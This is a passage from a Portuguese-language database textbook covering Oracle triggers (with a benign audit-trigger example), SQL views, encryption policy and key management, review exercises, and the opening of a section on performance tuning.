DB2 e Microsoft SQL Server – possuem diversas versões de triggers
à disposição. Contudo, desde que os primeiros modelos de triggers
foram propostos, muita pesquisa tem sido feita sobre como deve ser
um modelo geral para bancos de dados ativos (ELMASRI; NAVATHE,
2011, p. 627).

Segundo Gonçalves (2014, p. 32), “[...] o SGDB Oracle é muito flexível e


íntegro quando se trata da manipulação de dados e seus SCHEMAS de usuário”.
Outro ponto interessante é que os dados que disponibilizarmos podem
ser restringidos a tal ponto que, se assim quisermos, outros usuários só
poderão ter acesso de leitura, não podendo fazer qualquer alteração.
Para que esta manipulação de dados aconteça sem problemas, visando
a integridade das informações e garantindo o ótimo funcionamento do
banco de dados e programas conectados a ele, o banco Oracle trabalha
com transações.

152
TÓPICO 2 — CRIPTOGRAFIA EM BANCOS DE DADOS

[...] Uma transação é uma unidade lógica de trabalho composta por


uma ou mais declarações da Data Manipulation Language (DML) ou
Data Definition Language (DDL). Os comandos para o controle da
transação são os comandos necessários para que se possa controlar
a efetivação ou não das modificações feitas no banco de dados. Para
explicar o que é uma transação, pode-se tomar como exemplo uma
transferência bancária na qual um determinado valor é transferido
para outra conta. O processo de transferência deste valor consiste
em vários passos, que são agrupados de modo que, se não forem
concluídos em sua totalidade, ou seja, se a transação não chegar até o
final, todas as outras alterações já realizadas serão descartadas e a conta
voltará ao seu estado anterior, como se nenhuma transferência tivesse
sido realizada. Através deste controle, pode-se garantir que os dados
permanecerão consistentes. Os comandos COMMIT e ROLLBACK da
DCL auxiliam neste trabalho (GONÇALVES, 2014, p. 32).

Gonçalves (2015, p. 294) apresenta um exemplo de trigger de tabela:


create trigger tipo_tabela
before delete or insert or update of sal on emp
begin
end;
Para criar um trigger, primeiramente damos um nome. Utilizamos o
comando create trigger para criar o objeto. Temos obrigatoriamente
que definir quando será o disparo. Neste exemplo, informamos que
seu disparo ocorrerá antes da ação, neste caso before. Caso tenhamos
necessidade que o disparo ocorra depois, informamos after.
Depois de definir quando ocorrerá, precisamos informar em quais
situações, ou melhor, ações, o trigger deve disparar. Note que para
esta definição foi determinado que o disparo sempre ocorrerá quando
a tabela emp
sofrer um delete, insert ou update específico na coluna sal. Nos
casos de update, podemos ou não informar colunas específicas para
determinar o disparo. Neste exemplo, qualquer atualização que não
seja na coluna
sal da tabela emp o trigger não vai disparar. Caso não queira definir
colunas específicas apenas não use a expressão of.

Todavia, segundo Gonçalves (2015), há diferença entre usar o before ou


after para as triggers.

NOTA

O before quer dizer antes que as alterações sejam feitas nos registros da tabela
em questão, ou seja, podemos dizer que o Oracle faz as alterações primeiramente em
memória, para depois efetivá-las no banco de dados. Com isso, dependendo do momento
tratado, before ou after, podemos ou não alterar estes dados.
Quando o trigger é disparado no momento before, os dados ainda não foram efetivados,
nesse caso, podemos alterar os valores antes que eles sejam gravados no banco de dados.
Quando é disparado no after, não há mais como alterá-los, pois já foram efetivados no
banco de dados (GOLÇALVES, 2015, p. 295).

153
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

De forma complementar, Gonçalves (2015, p. 295-297) apresenta um


exemplo de trigger de tabela e sua aplicação:
Vamos criar um trigger que fará a auditoria da tabela emp. Cada vez que
um ou mais registros forem inseridos ou atualizados, este programa
vai calcular a quantidade de registros contidos na tabela emp, a soma
de todos os salários e comissões. Esses dados serão inseridos em uma
tabela chamada tab_audit_emp. Vamos criar a tabela:
SQL> create table tab_audit_emp
2(
3 nr_registros number
4 ,vl_total_salario number
5 ,vl_total_comissao number
6)
7/

Tabela criada.

SQL>
Segue o código da trigger:
SQL> create trigger tig_audit_emp
2 after insert or delete or update of sal, comm on emp
3 declare
4 wnr_registros number default 0;
5 wvl_total_salario number default 0;
6 wvl_total_comissao number default 0;
7 wnr_registros_audit number default 0;
8 begin
9 select count(*)
10 into wnr_registros
11 from emp;
12 --
13 select sum(sal)
14 into wvl_total_salario
15 from emp;
16 --
17 select sum(comm)
18 into wvl_total_comissao
19 from emp;
20 --
21 select count(*)
22 into wnr_registros_audit
23 from tab_audit_emp;
24 --
25 if wnr_registros_audit = 0 then
26 --
27 insert into tab_audit_emp (
nr_registros, vl_total_salario, vl_total_comissao)
28 values (wnr_registros, wvl_total_salario,
wvl_total_comissao);
29 --
30 else
31 --
32 update tab_audit_emp
33 set nr_registros = wnr_registros
34 ,vl_total_salario = wvl_total_salario
35 ,vl_total_comissao = wvl_total_comissao;

154
TÓPICO 2 — CRIPTOGRAFIA EM BANCOS DE DADOS

36 --
37 end if;
38 end;
39 /
Gatilho criado.
SQL>

Segundo Elmasri e Navathe (2011, p. 563), “[...] as ameaças aos bancos


de dados podem resultar na perda ou degradação de alguns ou de todos os
objetivos de segurança comumente aceitos: integridade, disponibilidade e
confidencialidade”.

“Para proteger os bancos de dados contra esses tipos de ameaças, é comum


implementar quatro tipos de medidas de controle: controle de acesso, controle de
inferência, controle de fluxo e criptografia” (ELMASRI; NAVATHE, 2011, p. 563).
Nesse sentido, a criptografia é um importante recurso e requer ser bem utilizada
para que seja eficiente.

DICAS

Assista ao vídeo Utilizando criptografia de dados no SQL Server, de autoria de


Cristiano Joaquim, que apresenta um exemplo prático de como funciona a criptografia
em um banco de dados, além de dicas interessantes. Acesse: https://www.youtube.com/
watch?v=jZqMd2vwcZY.

De acordo com Elmasri e Navathe (2011, p. 566), “[...] segurança na


tecnologia da informação diz respeito a muitos aspectos da proteção de um sistema
contra uso não autorizado, incluindo autenticação de usuários, criptografia de
informação, controle de acesso, políticas de firewall e detecção de intrusão”.

É válido lembrarmos que “[...] a criptografia é a conversão de dados para


um formato, chamado texto cifrado, que não pode ser facilmente entendido por
pessoas não autorizadas” (ELMASRI; NAVATHE, 2011, p. 580).

Ainda em relação à segurança e à criptografia envolvendo banco de


dados. Elmasri e Navathe (2011, p. 419) apresentam um protocolo chamado iSCSI
(Internet SCSI), que “permite que os clientes (chamados iniciadores) enviem
comandos SCSI para dispositivos de armazenamento SCSI em canais remotos”
(ELMASRI; NAVATHE, 2011, p. 580).
O iSCSI funciona da seguinte forma. Quando um SGBD precisa acessar
dados, o sistema operacional gera os comandos SCSI apropriados
e a requisição de dados, que então passam por procedimentos de
encapsulamento e, se for preciso, criptografia. Um cabeçalho de
pacote é acrescentado antes que os pacotes IP resultantes sejam
transmitidos por uma conexão Ethernet. Quando um pacote é recebido,

155
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

ele é descriptografado (se foi criptografado antes da transmissão) e


desmontado, separando os comandos SCSI e a solicitação. Os comandos
SCSI seguem por meio do controlador SCSI para o dispositivo de
armazenamento SCSI. Como o iSCSI é bidirecional, o protocolo
também pode ser usado para retornar dados em resposta à solicitação
original. A Cisco e a IBM comercializaram switches e roteadores com
base nessa tecnologia.
O armazenamento iSCSI afetou principalmente empresas de pequeno
e médio porte por causa de sua combinação de simplicidade, baixo
custo e funcionalidade dos dispositivos iSCSI. Ele permite que elas
não tenham de entender os detalhes da tecnologia Canal de fibra (FC)
e, em vez disso, beneficiam-se de sua familiaridade com o protocolo IP
e hardware Ethernet (ELMASRI; NAVATHE, 2011, p. 419).

Assim, foi possível verificar conceitos relacionados a banco de dados


e SGBDs, os quais beneficiam a segurança e possibilitam funcionalidades que
auxiliam no melhor gerenciamento de ações no banco. Triggers são ótimos recursos
e possibilitam ações eficientes nos bancos de dados, além de serem possíveis de
criptografia para aumentar a segurança das informações.

3 CRIPTOGRAFIA DE VIEWS
Para compreensão da criptografia de views, precisamos definir alguns
conceitos sobre views e sua aplicabilidade. Conforme Elmasri e Navathe (2011,
p. 58), “[...] as views também são conhecidas como tabelas virtuais ou tabelas
derivadas porque apresentam ao usuário o que parecem ser tabelas; porém, a
informação nessas tabelas é derivada de tabelas previamente definidas”.

Cayres (2015, p. 58) determina que “[...] views são utilizadas para facilitar
o acesso a um determinado conjunto de dados”.
Esse recurso possibilita a criação de seleções de dados, provenientes
de tabelas, mas disponibilizados por meio de outras tabelas que atuam
como filtros. Esses filtros, na verdade, são uma restrição de dados,
baseados em regras estipuladas pelo usuário, para que somente os
resultados desejados sejam disponibilizados, e não todos os campos
e registros de uma determinada tabela do banco de dados (CAYRES,
2015, p. 58).

Segundo Elmasri e Navathe (2011, p. 58):


Uma view em terminologia SQL é uma única tabela que é derivada
de outras tabelas. Essas outras tabelas podem ser tabelas da base ou
views previamente definidas. Uma view não necessariamente existe
em forma física; ela é considerada uma tabela virtual, ao contrário das
tabelas da base, cujas tuplas sempre estão armazenadas fisicamente no
banco de dados. Isso limita as possíveis operações de atualização que
podem ser aplicadas às views, mas não oferece quaisquer limitações
sobre a consulta de uma view.

156
TÓPICO 2 — CRIPTOGRAFIA EM BANCOS DE DADOS

Cayres (2015) apresenta mais informações sobre as views ou visões, além


de sua aplicabilidade nos bancos de dados:
Visões são comumente utilizadas na criação de tabelas temporárias que
precisam ser consultadas frequentemente, sem que haja a necessidade
de ter uma representação física. Aplicações bem projetadas expõem
uma interface pública que mantém privados os detalhes de sua
implementação. Dessa forma, mudanças futuras no projeto não
impactam o usuário final. Portanto, uma visão também pode ser vista
como um mecanismo de consulta de dados, tendo como resultado
uma tabela virtual com relações ou tabelas que não fazem parte de
modelo conceitual.
As principais aplicações para visões são:
• Segurança de dados: exibir partes da tabela;
• Agregação de dados: relatório comum já “montado” pelo projetista
do BD sem intervenção do desenvolvedor; Exemplo: mensalmente
mostrar a conta e o total de depósitos.
• Esconder complexidade: só executa a subconsulta se a coluna for
informada;
• Juntar dados particionados: tabelas separadas com dados atuais e
de histórico (UNION) (CAYRES, 2015, p. 126).

Para Elmasri e Navathe (2011, p. 89), “[...] pensamos em uma view como
um modo de especificar uma tabela que precisamos referenciar com frequência,
embora ela possa não existir fisicamente. Por exemplo, em relação ao banco de
dados EMPRESA” (Figura 2):

FIGURA 2 – DIAGRAMA PARA O ESQUEMA DE BANCO DE DADOS RELACIONAL – EMPRESA

FONTE: Elmasri e Navathe (2011, p. 46)

Segundo Elmasri e Navathe (2011), no exemplo do banco de dados da


Figura 2, o uso de views facilita a consulta de informações que são constantemente
solicitadas no banco de dados. Frequentemente, pode-se consultar o nome do
funcionário, o nome dos projetos e em que o funcionário está trabalhando, porém,
157
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

em vez de ter que solicitar consulta para a tabela específica que armazena essa
informação, pode-se definir uma view que tenha a junção dessas três informações.
O momento das consultas será a view que será solicitada, e não as tabelas
individuais FUNCIONARIO, TRABALHA_EM e PROJETO.
Em SQL, o comando para especificar uma view é CREATE VIEW.
A view recebe um nome de tabela (virtual), ou nome de view, uma
lista de nomes de atributo e uma consulta para especificar o conteúdo
da view. Se nenhum dos atributos da view resultar da aplicação de
funções ou operações aritméticas, não temos de especificar novos
nomes de atributo para a view, pois eles seriam iguais aos nomes
dos atributos das tabelas de definição no caso default (ELMASRI;
NAVATHE, 2011, p. 89).

Ainda segundo o exemplo de Elmasri e Navathe (2011, p. 89), “[...] as views


em V1 e V2 criam tabelas virtuais, cujos esquemas são ilustrados” (Figura 3):
V1: CREATE VIEW TRABALHA_EM1
AS SELECT Pnome, Unome, Projnome,Horas
FROM FUNCIONARIO, PROJETO, TRABALHA_EM
WHERE Cpf=Fcpf AND Pnr=Projnumero;

V2: CREATE VIEW DEP_INFO(Dep_nome, Qtd_func, Total_sal)


AS SELECT Dnome, COUNT (*), SUM (Salario)
FROM DEPARTAMENTO, FUNCIONARIO
WHERE Dnumero=Dnr
GROUP BY Dnome; (ELMASRI; NAVATHE, 2011, p. 89).

FIGURA 3 – VIEWS SOBRE O ESQUEMA DE BANCO DE DADOS APRESENTADO

FONTE: Elmasri; Navathe (2011, p. 89)

De acordo com Elmasri e Navathe (2011, p. 89):


Em V1, não especificamos quaisquer novos nomes de atributo para a
view TRABALHA_EM1 (embora pudéssemos tê-lo feito); nesse caso,
TRABALHA_EM1 herda os nomes dos atributos de view das tabelas de
definição FUNCIONARIO, PROJETO e TRABALHA_EM. A view V2
específica explicitamente novos nomes de atributo para a view DEP_
INFO, usando uma correspondência um para um entre os atributos
especificados na cláusula CREATE VIEW e aqueles especificados na
cláusula SELECT da consulta que define a view.

Agora, podemos especificar consultas SQL em uma view – ou tabela


virtual – da mesma forma como fazemos consultas envolvendo tabelas
da base. Por exemplo, para recuperar o primeiro e o último nome de

158
TÓPICO 2 — CRIPTOGRAFIA EM BANCOS DE DADOS

todos os funcionários que trabalham no projeto ‘ProdutoX’, podemos


utilizar a view TRABALHA_EM1 e especificar a consulta como na CV1:
CV1: SELECT Pnome, Unome
FROM TRABALHA_EM1
WHERE Projnome=‘ProdutoX’;

A mesma consulta exigiria a especificação de duas junções se fosse


realizada sobre as relações da base diretamente; uma das principais
vantagens de uma view é simplificar a especificação de certas consultas.
As views também são usadas como um mecanismo de segurança e
autorização.
Supõe-se que uma view esteja sempre atualizada; se modificarmos
as tuplas nas tabelas da base sobre as quais a view é definida, esta
precisa refletir automaticamente essas mudanças. Logo, a view não é
realizada ou materializada no momento de sua definição, mas quando
especificamos uma consulta na view. É responsabilidade do SGBD, e
não do usuário, cuidar para que a view mantenha-se atualizada.

Hintzbergen et al. (2018, p. 85) informam que “[...] cada pessoa envolvida
com TI e segurança de TI deve ter um entendimento básico dos conceitos
“criptografia”, “assinatura digital” e “certificados”, embora não necessariamente
o conhecimento técnico sobre como eles funcionam”. Dessa forma, entender de
criptografia é essencial para aumentar os aspectos de segurança das informações.

DICAS

Assista ao vídeo Dicas de Oracle: Criptografando Objetos de Banco de Dados,


do professor/autor Eduardo Gonçalves, sobre criptografia envolvendo o banco de dados
Oracle: https://www.youtube.com/watch?v=QWukrGqOn3o.

Segundo Gavioli e Seehagen (2015, s.p.), “as chaves de criptografia e a


maneira de como são utilizadas, tem influência significativa sobre a segurança da
base de dados. Deve ser considerado os seguintes aspectos”:
Controle de Acesso Criptográfico: de acordo com Carvalho (2000) a
criptografia de todo banco de dados com a mesma chave de acesso,
mesmo que o seu controle seja eficiente, não será o suficiente. Por
exemplo: uma fonte que tem a chave de criptografia pode acessar
dados que estão além de seu grupo de segurança, logo usando chaves
diferentes para grupos diferentes garante-se que o usuário que possui
a chave especifica pode de criptografar apenas os objetos dentro se seu
grupo de segurança.
Armazenamento seguro de Chaves: As chaves de criptografia devem
ser mantidas de forma segura, por exemplo: armazenar as chaves no
mesmo servidor do banco de dados, permite que o invasor acesse as
chaves e os dados criptografados, assim tornando a criptografia inútil.
Recuperação de chaves: Se as chaves criptográficas forem perdidas ou
danificadas, os dados criptografados serão inúteis, logo será necessário
um método de possível recuperação das chaves criptográficas sempre
que necessário (GAVIOLI; SEEHAGEN, 2015, s.p.).

159
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

DICAS

Leia na íntegra o artigo A Utilização da Criptografia a Nível de Banco de Dados,


de Gavioli e Seehagen (2015), que apresenta informações interessantes em relação à
criptografia em banco de dados:
https://www.fasul.edu.br/projetos/app/webroot/files/controle_eventos/ce_producao/2015
1027-211518_arquivo.pdf.

Conforme Hintzbergen et al. (2018), o uso da criptografia e a forma como


ela é implementada proporciona segurança não só na autenticação, mas também
no armazenamento de tais dados no banco:
A principal razão para usar criptografia é frequentemente vista como
um meio de manter a informação confidencial. É importante notar
que existem diferentes sistemas de criptografia. Dependendo da
capacidade do sistema criptográfico, ele também pode ser usado para
outros propósitos. Outros exemplos de onde a criptografia é usada
incluem integridade de dados, autenticidade de dados, mecanismos
de autenticação e não repúdio à informação.
O objetivo do não repúdio é obter uma prova da ocorrência ou não de
um evento ou ação (definição da ISO). É importante notar que, embora
a tecnologia seja essencial para tornar isso possível, a força de uma
aplicação criptográfica reside também nos aspectos organizacionais,
tais como a gestão de chaves (HINTZBERGEN et al., 2018, p. 85).

De forma complementar, Hintzbergen et al. (2018, p. 85) afirma que “[...]


o uso da criptografia deve ser cuidadosamente considerado e definido em um
documento de políticas. Esse documento de políticas é a base para determinar
como aplicar a criptografia dentro dos sistemas de informação da organização”.
Essa política deve abordar:
O documento deve conter ao menos as seguintes informações:
• Para que a organização usa criptografia. Um aspecto particular a
considerar antes de usar a criptografia são as limitações legais na
troca de informações cifradas com organizações ou departamentos
em outros países. Isso é importante, visto que em alguns casos não é
permitido usar certos tipos de criptografia ou transportar softwares
criptográficos através das fronteiras de países.
• Que tipos de criptografia a organização usa, e em quais aplicações.
Isso é importante para limitar qualquer problema proveniente de
aplicações ou algoritmos criptográficos incompatíveis. Ao ter uma
política corporativa e ao controlar a sua implementação, esses
problemas de compatibilidade podem ser reduzidos ao mínimo.
• Controle e gerência de chaves. A base de todo sistema criptográfico
são as chaves.
• Normalmente os algoritmos de um sistema criptográfico são
públicos: a força do sistema está baseada na força das chaves e na
habilidade de a organização evitar que essas chaves caiam em mãos
erradas. É, portanto, primordial para uma organização possuir
políticas claras e rigorosas sobre como gerenciar essas chaves.

160
TÓPICO 2 — CRIPTOGRAFIA EM BANCOS DE DADOS

• Backup. Ao fazer backup de dados cifrados, é importante


determinar como os dados originais podem ser acessados quando
requerido. Isso é especialmente importante quando a chave é perdida
ou comprometida, o que significa que usuários não autorizados
obtiveram acesso à chave.
• Controle. Isso descreve a forma como a aplicação de um material
criptográfico é tratada pela organização e quais medidas estão
em vigor para limitar o uso indevido. Tal uso indevido pode
incluir funcionários deliberadamente criptografando dados, sem
autorização, deixando a empresa sem acesso às informações
(HINTZBERGEN et al., 2018, p. 85-86).

Desse modo, podemos concluir que a criptografia é um importante e


valioso recurso que proporciona mais segurança desde o processo de autenticação,
durante o tráfego de dados, como também no armazenamento de informações
nos bancos de dados. Quando pensarmos em segurança todos os recursos que
podem ser analisados e implantados sempre serão válidos, lembrando que a
política de segurança é fundamental para especificar as regras e ações para atingir
a segurança desejada.

161
RESUMO DO TÓPICO 2
Neste tópico, você aprendeu que:

• Criptografia é utilizada para ocultar e proteger informações de acesso não


autorizado; considera os princípios da segurança da informação: integridade,
confidencialidade e autenticidade das informações.

• A criptografia ocorre por meio de mecanismos de chaves públicas e privadas,


que são validadas por processos autênticos e garantem a confiabilidade e a
confidencialidade da informação.

• São necessários mecanismos de segurança em aspectos tecnológicos, físicos,


processuais e regulatórios, principalmente para proteção de dados que são
trafegados em rede, armazenamento em servidores, além de proteção contra
ameaças e vulnerabilidades.

• A Structured Query Language (SQL) é a linguagem padrão utilizada para


realizar ações como inclusão, alteração, atualização ou exclusão nos bancos
de dados, independentemente do tipo de banco utilizado: Oracle, MS SQL
Server, PostgreSQL, entre outros.

• Trigger e views são objetos que compõe um banco de dados e, embora cada um
possua finalidades específicas, ambos os recursos podem receber criptografia,
aumentando sua segurança caso o banco seja acessado indevidamente.

• Trigger são gatilhos disparados antes ou após algum evento no banco de


dados. Esses gatilhos são usados para finalidades ou operações específicas, as
quais podem envolver uma ou mais tabelas.

• A utilização de trigger proporciona alguns benefícios, como verificar a


integridade dos dados, validar erros na regra de negócio do sistema no banco
de dados, além de permitir auditar as mudanças nas tabelas do banco.

• Views são comandos em linguagem SQL que permitem visões e consultas aos
dados, apresentando as informações de uma ou mais tabelas, em consultas
mais elaboradas e complexas. O uso de views proporciona melhor desempenho
para as consultas realizadas.

• Para a segurança da informação, o uso de políticas de aplicação de criptografia


é um importante documento a ser elaborado. Na política de criptografia,
deverá conter todas as limitações legais, dados a serem criptografados, regras
e sistemas.

162
AUTOATIVIDADE

1 Criptografia é um recurso que deve ser usado juntamente com outras


políticas de segurança. Sobre o conceito e características da criptografia,
assinale a alternativa INCORRETA:

a) ( ) Criptografia é um recurso utilizado para ocultar informações de


pessoas ou sistemas não autorizados a verificar o conteúdo protegido.
b) ( ) A criptografia é um recurso que pode ser utilizado em todo o banco de
dados ou em parte dele, a depender do que se deseja proteger.
c) ( ) A criptografia é um recurso exclusivamente utilizado entre um emissor
e destinatário.
d) ( ) A criptografia é um recurso que permite utilização de chaves públicas
e privadas, possibilitando proteção de diferentes formas.

2 A criptografia em banco de dados aumenta a segurança em relação a acessos


não autorizados, pois caso haja algum tipo de violação ao banco, os dados
estarão protegidos caso criptografados. Com base nas informações sobre
triggers, analise as sentenças a seguir:

I- Trigger é uma funcionalidade geral de um SGBD, ao qual serve para facilitar,


proteger e automatizar processos realizados em um banco de dados.
II- Uma trigger dispara quando uma ação ocorre em uma tabela, sendo
específico para a inserção de dados.
III- A trigger auxilia na integridade dos dados, pois é possível fazer verificações
antes da inserção do registro no banco.

Assinale a alternativa CORRETA:


a) ( ) As sentenças I e II estão corretas.
b) ( ) Somente a sentença II está correta.
c) ( ) As sentenças I e III estão corretas.
d) ( ) Somente a sentença III está correta.

3 Views ou visões são funcionalidades de um SGBD, que servem para facilitar,


proteger e automatizar processos e ações realizados em um banco de dados.
De acordo com as informações apresentadas sobre views, classifique V para
as sentenças verdadeiras e F para as falsas:

( ) Views são tabelas físicas, ao qual são utilizadas para facilitar acesso a um
conjunto específico de dados.
( ) A criptografia de views é utilizada para aumentar os aspectos de segurança
das informações.
( ) Views é um interessante recurso ao qual proporciona juntar dados de tabelas
separadas, permitindo criar novas visões sobre os dados armazenados.

163
Assinale a alternativa que apresenta a sequência CORRETA:
a) ( ) V – F – F.
b) ( ) V – F – V.
c) ( ) F – V – V.
d) ( ) F – F – V.

4 A criptografia é um importante recurso que pode ser usado em diferentes


situações, como redes, banco de dados, arquivos em específico, entre outros.
Disserte sobre a principal diferença entre a criptografia simétrica da assimétrica.

5 Hintzbergen et al. (2018) afirmam que políticas de segurança são importantes


e que, para ter políticas específicas que envolvem criptografia, se deve
considerar a organização. Nesse contexto, disserte sobre as características
recomendadas para o documento de políticas de criptografia.

164
TÓPICO 3 —
UNIDADE 3

TUNING EM BANCOS DE DADOS

1 INTRODUÇÃO
Tuning, em banco de dados, é um importante estudo, pois um banco não
pode apenas armazenar dados, ele deve ter um bom desempenho nas requisições
realizadas nele. Por isso, precisamos definir e contextualizar sobre tuning.

Segundo Caiut (2015, p. 55), para aplicação do tuning “[...] não existe uma
receita que se aplique a todos os casos de todas as tabelas da base”, considerando
que deve haver “conhecimento empírico, depende do seu ambiente, aplicar e medir”.

Caiut (2015, p. 105) afirma que:


Ajuste de desempenho, comumente descrito através do termo tuning, é
uma das mais difíceis tarefas de qualquer profissional de infraestrutura
de TI. E o motivo é simples: não existe uma receita que se aplique a
todos os casos. Frequentemente uma ação que foi uma solução em um
cenário pode ser inútil em outro, ou pior, ser prejudicial.
Mas também não chega a ser uma arte ou ciência exotérica. Existem
linhas gerais, diretrizes e conjuntos de boas práticas que podem e
devem ser seguidos. Mas sempre com as seguintes ressalvas: “depende
de seu ambiente” ou “aplique e teste”. Resumidamente, tuning é isto:
um conhecimento empírico que deve ser testado em cada situação.

Laudon e Laudon (2014, p. 193) relatam que:


As empresas usam bancos de dados para monitorar transações
básicas, como pagamento a fornecedores, processamento de pedidos,
atendimento a clientes e pagamento a funcionários, mas elas também
precisam de bancos de dados para obter informações que as ajudem a
administrar o negócio de maneira mais eficiente e, ao mesmo tempo,
auxiliem gerentes e funcionários a tomar melhores decisões. Se uma
empresa quiser saber qual produto é mais aceito pelo mercado, ou
quais clientes são mais lucrativos, a resposta estará nos dados.

Ainda conforme Laudon e Laudon (2014, p. 206), “[...] desenvolver um


ambiente de banco de dados exige políticas e procedimentos para gerenciar os
dados organizacionais, assim como um bom modelo de dados e uma boa tecnologia
de banco de dados”. A partir disso, podemos entender o quão importante é um
banco de dados ser funcional e estar disponível para utilização no seu melhor
desempenho, para alcançar o objetivo de tuning em banco de dados.

Hintzbergen et al. (2018, p. 105) informam que:

165
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

É necessário identificar e monitorar os requisitos de capacidade


dos sistemas de TIC das organizações, para prevenir interrupções
indesejadas devido à falta de largura de banda, espaço em disco,
alocação de memória e capacidade de processamento. O gerenciamento
da capacidade também é sobre definir e monitorar desempenho e espaço
de bancos de dados e consumo de memória. Um cuidado especial deve
ser dado aos sistemas críticos. Na estrutura do ITIL, há um processo
definido para o gerenciamento da capacidade.

Para Reynolds e Stair (2015, p. 580), “[...] estabelecer os objetivos para


o desenvolvimento de sistemas é um aspecto‑chave de qualquer projeto de
desenvolvimento bem‑sucedido”, ainda complementando que:
Fatores críticos para o sucesso (CSF) podem identificar os objetivos
importantes. Os objetivos do desenvolvimento de sistemas podem
incluir metas de desempenho (qualidade e utilidade dos resultados e
a velocidade com a qual o resultado é gerado), assim como os objetivos
de custo (custos de desenvolvimento, os custos fixos e os custos de
desenvolvimento contínuos) (REYNOLDS; STAIR, 2015, p. 580).

Segundo Cayres (2015), tudo se inicia com um bom modelo físico de banco
de dados.
Podemos fazer as seguintes afirmações sobre o modelo físico:
• Usa como base o modelo lógico.
• Detalhes sobre armazenamento interno dos dados (questões que
influenciam o desempenho das aplicações)
• Usado por quem faz a sintonia do banco (ajuste de desempenho –
“tuning”).
• Auxilia na escolha do SGBDR considerando, por exemplo: Tempo
de resposta, utilização de espaço em disco, taxa de processamento
de transações (throughput), custo etc.
• Resultado: definição de estruturas para construção do BD (script
em SQL/DDL)
• Ferramentas CASE podem converter o modelo lógico em um script
SQL/DDL (CAYRES, 2015, p. 55).

Para Cayres (2015, p. 55):


Estamos falando do modelo físico do banco de dados, que contém
detalhes sobre como os dados serão armazenados internamente. O
modelo físico vai se preocupar com questões que não têm influência
direta na programação de aplicações utilizando o SGBD, mas que
influenciam o desempenho destas. É utilizado por profissionais que
fazem a sintonia fina do banco (ajuste de desempenho – “tuning”).
Outra função do modelo físico é ajudar a escolher o SGBDR ideal para a
aplicação, uma vez que serão consideradas as opções ou características
que oferecem um melhor casamento entre o modelo existente e os
recursos oferecidos por diferentes SGBDRs.
Como exemplos das características que são consideradas, temos: Tempo
de resposta, utilização de espaço em disco, taxa de processamento de
transações (throughput), custo etc.

Nesse momento, precisamos lembrar o que é um Sistema Gerenciador de


Banco de Dados Relacional (SGBDR) e como os dados são organizados nele.

166
TÓPICO 3 — TUNING EM BANCOS DE DADOS

O banco de dados relacional é, atualmente, bidimensional, com linhas


e colunas chamadas relações. Cada tabela contém dados sobre uma
entidade e seus atributos. Cada linha representa um registro e cada
coluna, um atributo ou campo. Cada tabela também contém um campo-
chave, que confere identificação exclusiva a cada registro para posterior
recuperação ou manipulação. O diagrama entidade/relacionamento
descreve graficamente a relação entre as entidades (tabelas) em um banco
de dados relacional. O processo de fragmentar agrupamentos complexos
de dados e simplificá-los, a fim de minimizar a redundância e as relações
muitos para muitos inadequadas, é denominado normalização. Bancos
de dados não relacionais estão se tornando populares para gerenciar os
tipos de dados que não podem ser facilmente manipulados pelo modelo
de dados relacional (LAUDON; LAUDON, 2014, p. 205).

Dessa forma, “[...] assegurar a qualidade dos dados envolve o uso


de padrões válidos para toda a empresa, bancos projetados para minimizar a
inconsistência e a redundância, auditorias de qualidade, e software de limpeza e
padronização” (LAUDON; LAUDON, 2014, p. 206).

De acordo com Reynolds e Stair (2015, p. 213), “[...] após dar entrada nos
dados em um banco de dados relacional, os usuários podem consultar e analisar os
dados. As manipulações básicas de dados incluem selecionar, projetar e reunir”. Os
autores ainda afirmam que “[...] o modelo do banco de dados relacional é de longe
o mais utilizado. Ele é mais fácil de ser controlado, mais flexível e mais intuitivo que
outros porque organiza os dados em tabelas” (REYNOLDS; STAIR, 2015, p. 213).
Segundo Elmasri e Navathe (2011, p. 490), “[...] o projeto físico é
uma atividade em que o objetivo é não apenas criar a estruturação
apropriada de dados no armazenamento, mas também fazer isso de
modo que garanta um bom desempenho”. O desempenho do banco
já deve ser levado em consideração quando é desenvolvido, conforme
Elmasri e Navathe (2011, p. 490):

Não é possível tomar decisões significativas de projeto físico e análise


de desempenho até que o projetista de banco de dados conheça a combinação
de consultas, transações e aplicações que deverão usar o banco de dados. Isso é
chamado de combinação de tarefas para determinado conjunto de aplicações de
sistema de banco de dados.

Para Elmasri e Navathe (2011, p. 490), “[...] os administradores/projetistas


de banco de dados precisam analisar essas aplicações, suas frequências de
chamada esperadas, quaisquer restrições de temporização em sua velocidade de
execução, a frequência esperada”. Esses fatores são:
A. Analisando as consultas e transações de banco de dados. Antes
de realizar o projeto físico de banco de dados, devemos ter uma boa
ideia do uso intencionado deste último, definindo em uma forma de
alto nível as consultas e transações que deverão usar o banco de dados.
Para cada consulta de recuperação, as seguintes informações seriam
necessárias:
1. Os arquivos que serão acessados pela consulta.
2. Os atributos sobre os quais quaisquer condições de seleção para a
consulta são especificadas.

167
UNIDADE 3 — INFLUÊNCIA DA SEGURANÇA NAS CARACTERÍSTICAS E FUNÇÕES DOS BANCOS DE DADOS

3. Se a condição de seleção é uma condição de igualdade, desigualdade


ou intervalo.
4. Os atributos sobre os quais são especificadas quaisquer condições
de junção ou condições para ligar múltiplas tabelas ou objetos para
a consulta.
Os atributos cujos valores serão recuperados pela consulta.
Para cada operação de atualização ou transação de atualização, a
informação a seguir seria necessária:
1. Os arquivos que serão atualizados.
2. O tipo de operação em cada arquivo (inserção, atualização ou
exclusão).
3. Os atributos sobre os quais as condições de seleção para uma
exclusão ou atualização são especificadas.
4. Os atributos cujos valores serão alterados por uma operação de
atualização
B. Analisando a frequência de chamada de consultas e transações
esperada. Além de identificar as características das consultas de
recuperação e transações de atualização esperadas, temos de considerar
suas taxas de chamada esperadas. Essa informação de frequência, junto
com a informação de atributo coletada em cada consulta e transação,
é usada para compilar uma lista cumulativa da frequência de uso
esperada para todas as consultas e transações. Isso é expresso como a
frequência de uso esperada de cada atributo em cada arquivo como um
